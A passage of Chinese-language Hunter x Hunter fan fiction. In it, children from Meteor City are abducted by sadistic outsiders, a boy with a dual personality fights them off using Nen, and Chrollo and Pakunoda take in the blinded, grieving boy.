但她的努力无济于事。7、8岁女孩的身量原本就瘦小更别提营养上有所缺陷的流星街小孩了。
纹身男反而从中得到了些许乐趣,开始故意把萨拉萨往不明垃圾上撞。
渐渐的,萨拉萨已经感觉不到恐惧和疼痛了,她尽自己所能的努力拽大型垃圾,即使手被割烂,摔在尖锐器物上的背部被刺出伤口。
大家……都还在等着她!
终于,她抓到了一个废弃的重型工业机器,纹身男一时不查竟差点被萨拉萨绊倒在垃圾堆里。
汽车处传来一阵哄笑声——他们已经离汽车很近了。
男人恼羞成怒,狠狠地拽了一下萨拉萨的头发。
发绳散落,有头发被拽掉了,但萨拉萨紧紧拽住救命稻草不松手。
成人用力的一脚踹到了她的身上,在惯性和外力的作用下,她飞了出去。
从空中坠入垃圾堆时,恍惚间萨拉萨觉得一切结束了——想象中的疼痛没有出现,她陷入一个柔软的地方。
录像带在冲击力下四散飞舞,萨拉萨看到了录像带精灵。
原来她飞向的垃圾堆堆满了录像带,录像带堆不引人注目的地方睡着一个散着金色长发,衣着精美的小孩,而她刚好砸在了男孩身上。
怪不得感觉不到痛……
还没来得及庆幸,萨拉萨陷入了巨大的懊恼之中:她连累了录像带精灵,录像带精灵也要被抓走了!
脚步声靠近,萨拉萨想往远处爬吸引走坏人,但是已经来不及了。
男人发现了他们。
在暗淡的流星街里堪称刺眼的灿金色长发抓住了纹身男的眼球。
“意外收获啊。”
男人没有再磨蹭了,他一手提着腿部受伤没法行走的萨拉萨的手臂,另一只手扛着昏迷不醒的金发男孩往汽车的方向走去。
“太慢了吧,我的兴致都要被你消磨没了——这是?”
“意外收获到的高级品,刚好可以从之前狩猎到的里面替换一只,两只总能让你玩尽兴了吧?”
“哼哼,去那片森林里吧,垃圾堆会拉低我们的艺术。”
“这只就让她欣赏完了艺术后再玩吧……作为让我们意外收获到高级货的奖励吧。”
“随你。”
拉开的后座上十来个孩子被塞着嘴戴着头套绑在一起。
关车门前萨拉萨最后扭头看了一眼外面。
大家……
意识陷入混沌,林霁在梦中沉浮。
恐惧无处不在。
复合体已经脱离了形体的束缚,它可以是任何东西。
是风,是光,是尘埃,是……一个破碎的玩具箱。
“哥哥,你说过会帮我的,帮帮我,我要……杀了他。”
气出现了。
“好哦。”
如他所料,霁开了念后他果然可以使用自己的念了。
他也非常愤怒。
疤嘴男还敢凑过来!
【发】!
一脚,疤嘴男被林霁从房顶的窟窿处踹了出去。
紧接着,林霁也跟着跳了出去,往疤嘴男腹部踹出了一脚把他踹向了后/庭。
林霁在房顶上跳跃,追逐疤嘴男。
轰!
飞沙走石,疤嘴男站在坑里恶狠狠地盯着林霁。
这个臭小鬼!
凭什么他刚开念就有那么多的气!
“啊啊啊,对于现在的我来说战斗不算难事,但要杀人还是第一次呢。”
林霁俯视地里的疤嘴男,有些苦恼的把辫子绕到手指上。
“对了,把你当成复合物就没关系了,毕竟……已经杀过那么多次了。”
看着林霁身上冒出的堪称巨量的黑色的念,疤嘴男果断往实验室跑去。
血……他需要巨量的血——只要有足够的血他就是无敌的!
等林霁追上去,屠杀已经结束了,作为普通人的研究员在念能力者的绞杀下根本毫无还手之力。
惨叫声尖锐刺耳,仿佛破开了他的耳膜。
疤嘴男狞笑着走向林霁,红色的血在地上铺开,仿佛有了意识一般蔓延上他周身的念。
他该继续与敌人战斗了,可是……
为什么还有人在发出惨叫声?
霁?
霁!
你在哪!
眼前的画面开始模糊,雪花屏后疤嘴男还在接近他。
好困……
林霁抵抗住睡意努力睁开眼睛,却发现眼前雾蒙蒙的看不清。
他这是在哪里?他沉睡后霁干了什么,现在怎么样了?
一切都是不明的,林霁只能通过风吹过树叶发出的声音判断出来他现在应该身处森林。
有女孩子在惨叫。
林霁从车上爬起来头撞到了车顶。
好痛!还是没有养成把念当成身体一部分的好习惯。
林霁挣脱绳子,摸索着打开了车门。
惨叫声越发清晰,伴随而来的是浓郁的铁锈味。
他真的好想吐,自从他发觉自己来到了猎人的世界后,危机与鲜血如影随形。
他确信他受到了诅咒,这就是全职猎人的世界吗,简直恐怖如斯。
再这样下去,终有一天他迟早会分不清梦与现实。
见光后视线依然模糊,眼前人影幢幢,林霁流下了生理泪水。
有人发现了他,骂骂咧咧的转身。
“怎么不捆住这个货物?”
“我捆了啊……”
下一秒,林霁一记侧踢踹上了男人的太阳穴,男人飞出去了,生死不明。
一片寂静。
就算看不清也不影响林霁,因为他还有【圆】啊。
林霁跳下车,眼睛“望”向惨叫声的源头。
他嘎嘣一声捏了捏拳头,咬牙说:“人渣都给我去死!”
如果不是这些莫名其妙的人,他和霁还在王
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宫里和艾娜,塞纳一起过着平稳的生活。
绝对不会原谅!
几回合交手下来纹身男一方损失惨重,在看到子弹对林霁都造不成什么威胁后,他们果断拖着倒地的同伴开车逃跑。
“可恶——”
林霁刚想追上去,身体一个踉跄差点倒地。
意识开始模糊,他感觉自己马上就要又一次陷入沉睡了。
霁?
不知道为什么,霁一直没有响应他的呼唤,对此林霁感到不安。
在自己陷入沉睡时究竟发生了什么?
凭着嗅觉,霁在陷入沉睡前找到了那个不幸的孩子。
不幸中的万幸,人还活着。
“录像带精灵……谢谢你……”
“哈?”
一头雾水中,林霁把身上还算干净的衣服撕成条给了女孩。
“虽然不知道你在说些什么,但你还是先简单处理一下伤口吧……”
林霁靠着树缓缓坐下,头开始不受控制的往下一点一点的。
“录像带精灵……你不要睡啊,我的伙伴们一定会找到我们的。”
萨拉萨劫后余生,话语里带着难掩的跃雀。
呜……能活着太好了!
“那就好……我太累了,先睡一觉……”
“对了!”
林霁强打起精神来,对着萨拉萨的方向指了指自己:“我呢,是双重人格,只有察觉到弟弟受到生命危险时才会出现,我的弟弟十分的弱小,他的亲人才刚刚去世……如果可以的话,看在我救了你一命的份上,请好好照顾他吧……我……只有他了……”
还想说些什么,林霁不敌困意,沉沉地睡去。
希望……一切都没有变得太糟糕……
霁……
萨拉萨认真的听完林霁的诉求,努力点了点头:“我一定会做到的,录像带精灵!”
用布条缠住手臂剩余的部分,萨拉萨强忍住泪水。
请再等一等,大家一定会来的!
下雨了。
库洛洛坐在窝金的摩托车后座,他们已经找了很多地方,萨拉萨都不在。
一抹亮色吸引了库洛洛,是一个漂亮的心形包,他记得萨拉萨曾经背过。
他捡起包,发现了背带上被人大力拖拽的痕迹。
有些长的额发垂到了眼睛,库洛洛发现了车辙的深痕,一直通向乌伽森林。
“那片森林,可能在那边。”
他听到自己这么对大家说。
什么都不去想,只是一味的寻找,一味的向前。
白色的纸张被钉在树干上,在阴沉到令人呼吸不畅的雨天亮到让大家发慌。
良好的视力让大家远远的就看到了被麻绳拴着系在树上的黑袋子。
有人开始无声的哭泣。
窝金努力说出一句完整的话打破沉默:“还得有人……去看看……才行。”
“我——去看。”
说完,库洛洛上前。
窝金正打算说些什么,库洛洛突然倒地的动作惊到了大家,也让他的话没机会说出口。
快速爬起,库洛洛冲了过去。
“萨拉萨!窝金,快带她找神父!”
一抹金色使库洛洛注意到了躺在水坑中的萨拉萨,她抱着一个陌生男孩的胳膊,皱着眉头,睡得并不安详。
“活着就好……”
雨水落在眼眶,又有多少人借此流泪?
13. 语言×活着
两只眼睛的上眼睑和下眼睑分别被一只手的食指和拇指撑开,瞳孔在手电筒的照射下紧缩,随后医生举起两根手指询问:“这是几?”
霁:“……”
神父叹息了一声,这孩子被库洛洛他们带回来后就昏迷不醒,医生粗略的为他检查了一下身体,发现没有大碍后就去忙其他事情了,医生在流星街还是非常稀少的。
结果这孩子从醒来后就一直保持着一个姿势一动不动,跟他说话也得不到回应,还是库洛洛刚刚过来通知萨拉萨苏醒的消息时才发现了这孩子的眼睛有些不对劲。
给他检查眼睛这孩子不抗拒但也没有其他回应。
医生结束了检查,把结论讲给神父听:“这孩子的眼睛没有什么大问题,应该是角膜受到了小的创伤,失明是短暂性的,好好养养很快就会回复的。”
“那这孩子……”神父摸了摸脖子,没有问出声。
医生摇了摇头,指了下门,示意出去说。
神父,库洛洛和派克诺妲都跟着医生走了出去,最后出来的派克诺妲带上了门。
医生将翻出来的眼药水递给神父,有些无奈的说:“这孩子的嗓子和耳朵都没有问题,大概率是能说话的,经过我粗略地检查来看,他比流星街大部分孩子都要健康,不说话也不做出回应,估计是……”
医生的右手抚上了心脏的位置,库洛洛和派克诺妲都若有所思。
神父苦笑:“麻烦医生了,接下来就交给我们了。”
医生点了点头,与神父道别,急匆匆地走了。
神父目送医生离去,笑容和蔼:“库洛洛,萨拉萨醒来后有说有关这孩子的话吗?”
库洛洛摇了摇头:“萨拉萨醒来后很快就又睡下了,莲可小姐说她需要静养,所以现在只有养母和希拉在照顾萨拉萨……”
库洛洛停顿了一下,有些不确定地说:“好像是有提到‘他是弟弟要照顾’之类的话,但是当时萨拉萨在发低烧,意识还是有些不清。”
神父有些发愁,见状库洛洛主动提出要和派克诺妲一起照顾那个小孩。
神父犹豫道:“会不会有些麻烦你们了,毕竟这孩子的身份还是不明的。”
库洛洛摇头,笑容灿烂:“不麻烦的!”
见库洛洛他们没有勉强,神父摸了摸库洛洛的头,欣慰的说:“那就拜托你们了,萨拉萨没有什么事真是太好了,大家都在期待《清扫战士》的回归哦。”
库洛洛用力点头:“嗯!”
看着神父远去的背影,库洛洛有些抱歉的向派克诺妲笑了笑:“连累你和我一起受累了,派派。”
派克诺妲调皮的眨了眨眼:“没有哦,毕竟是可爱小弟的请求——”
库洛洛无奈:“派派……”
派克诺妲打开了门,霁坐在床上,一动不动的,一切都和他们刚刚离开时的记忆一样,仿佛时间在这间仅有一张床、一个小桌、一小扇窗户的空旷房间定格了。
光从窗户打进来,散落的金色长发借此散发着在流星街绝不会出现的鲜亮光泽。
蓝色的大眼睛无神地盯着前方,里面没有映出任何东西。
派克诺妲他们进来的动静没有惊扰到他,他对外界的声音没有做出任何反应。
库洛洛好奇地打量着霁——伤害萨拉萨的外界人在现场留下了许多不必要的痕迹,对此他有许多想法需要证实,但萨拉萨重伤未愈,唯一的切入点就只剩这个突然出现在流星街的小孩了。
但对方拒绝外界的姿态让库洛洛感到苦恼。
根本就没法交流啊!
等等,交流?
库洛洛用流星街语进行尝试:“有人让我们照顾‘弟弟’。”
派克诺妲观察床上男孩的表情,对库洛洛摇头:没有反应。
库洛洛切换通用语重复,派克诺妲直接激动地喊出声来:“小库,他对通用语有反应!”
库洛洛激动极了,因为萨拉萨的意外而多日没有发出的跃雀声音重现:“太好了!”
在他们两人的注视下,霁的睫毛颤了颤,大滴的眼泪从早已干涩的眼中流出,滴在被子上晕出大片的湿痕。
“我饿了。”,是用通用语,库洛洛对这句话进行了转述。
派克诺妲松了一口气。
能吃东西就好。
只要能吃东西就能活着。
派克诺妲出去给霁找吃的,房间里只剩库洛洛和霁两人。
霁还在无声的流泪。
库洛洛探究地看着霁:为什么说听不懂的语言时他会没有反应,说他听得懂的语言时却会有那么大的反应?
库洛洛开始尝试用通用语与霁交流:“医生说你的失明是暂时性的,只要好好修养就会好的,还是不要哭太久了,对眼睛不好。”
霁停止哭泣回应库洛洛:“嗯。”
其实霁哭泣的原因很简单——他想到了诞生之初,他与哥哥都无法听懂塞纳她们使用的语言,直到后来才一点一点学会,不但能听懂还能进行读写。当然,他会读写这两项技能的事塞纳和艾娜都对此毫不知情。
霁还没来得及表现出来,毕竟她们都还没来得及开始教他。
想到这儿,霁的眼眶又湿了,还好派克诺妲带着饭来了。
霁靠进食压制住了泪意。
吃得太快了,以至于根本吃不出饭的味道,只能感觉到很噎。
流泪是没有用的,死去的人不会因此回来,就连哥哥都不在了……
感觉不到饥饿了,霁停下来筷子。
诺妲发现碗里还有剩饭后对霁双臂交叠比出了一个大叉,严肃地说:“食物是很珍贵的,不许浪费哦。”
突然想到霁不但看不见还听不懂流星街语,诺妲有些愧疚,看向库洛洛。
“小库你帮我转述一下,顺便帮我道个歉吧。”
库洛洛偷笑,被诺妲没好气的戳了一下背后笑着说:“抱歉,我的同伴忘了你听不懂流星街语,她想告诉你食物是很珍贵的,不许浪费哦。”
“流星街……”
霁两三下吃完剩下的饭,有些紧张的问库洛洛:“对了,你说‘有人让你们照顾弟弟’……是谁拜托你们的?”
库洛洛下意识摇头,想起来霁看不见后,他在诺妲捂
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嘴偷笑的动作中解释到:“我们有一个小伙伴遇到了外界人的袭击,找到她时就只有你们俩和……在树林里,她醒来后曾提到过这样的话,不过她现在还在养伤,过几天我们才能见她。”
库洛洛可疑的迟疑没有引起霁的注意,霁现在只能肯定一件事:哥哥曾经在他昏迷的时候出现过,并再一次救了自己。
一切都已经结束了……失去的再也没办法回来了……哥哥还在真好……
塞纳把自己送到一个全新的地方是想让他有个全新的开始吗?
于是在库洛洛,诺妲两人的注视下,霁深吸一口气后缓缓将其呼出,随后他一直没有表情的脸上终于多了些变化。
霁伸出了手,“望”向二人:“我是霁……一个即没有来处也没有归所的人,我现在与哥哥相依为命。”
库洛洛和诺妲对视,两人不约而同的将手放于霁的手上,三人的手掌就此交叠。
“我是库洛洛,她是派克诺妲,欢迎来到流星街……你说不定意外的适合流星街呢,毕竟‘我们不拒绝任何东西’,等你好了之后再给你介绍我们的其他伙伴吧,大家都对你救下萨拉萨很感激呢。”
“好哦。”
空洞的蓝眼睛里好像出现了不易察觉的光,诺妲虽然不知道他们说了什么,但她敏锐地察觉到男孩的心防放下了,好像想开了什么东西,对外界不再是抵抗的姿态了。
毕竟是塞纳为自己做出的选择,哥哥也为他能更好的融入这里做出了努力——“救下萨拉萨”,他不能轻易浪费他们的努力……至少要等哥哥回来。
他已经为错误的选择付出了惨痛的代价,如果哥哥知道了先前的一切,哥哥会说出怎样的话来安慰开导自己呢?
怀着这样的疑问,霁打算在“流星街”这个地方等待哥哥。
唔……先从学会流星街语开始吧,毕竟这个是自己还算擅长的事吧。
“库洛洛有时间吗,能拜托你教我流星街语吗,作为报答我可以给你讲外面的故事……虽然都是从绘本上了解的就是了。”
“唉?真的吗!在流星街能接触到的外界书籍可是很少的,就算是绘本上的故事也可以了解到外界……”
看着无障碍交流的两人,诺妲为终于恢复正常的库洛洛感到开心。
库洛洛……这样就好。
可是女孩现在还不知道,命运早已给他们这群人织好了一张巨大的蛛网,有什么东西早已改变,他们没有办法不做出选择,因为未来给了让他们难以拒绝的许诺。
唯一的变数已然出现,但连自己的命运都无法抗衡的家伙又能带来什么样的未来呢?
“希拉……”
萨拉萨嘶哑的声音惊醒了趴在床边的希拉,希拉跳了起来,差点摔倒:“萨拉萨你终于醒了!我去叫养母!”
“嗯,”萨拉萨流下了眼泪,“希拉……活着真好……”
希拉再也忍不住,多日的担心在这刻化为泪水宣泄出来,她开始嚎啕大哭。
养母们被希拉哭泣的动静吸引过来,看到醒来的萨拉萨松了一口气。
一切都在往好的方向进行。